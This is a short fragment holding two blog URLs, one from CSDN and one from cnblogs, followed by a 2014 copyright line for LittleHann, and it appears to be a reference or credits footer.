http://blog.csdn.net/zhjutao/article/details/8622751
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

Copyright (c) 2014 LittleHann All rights reserved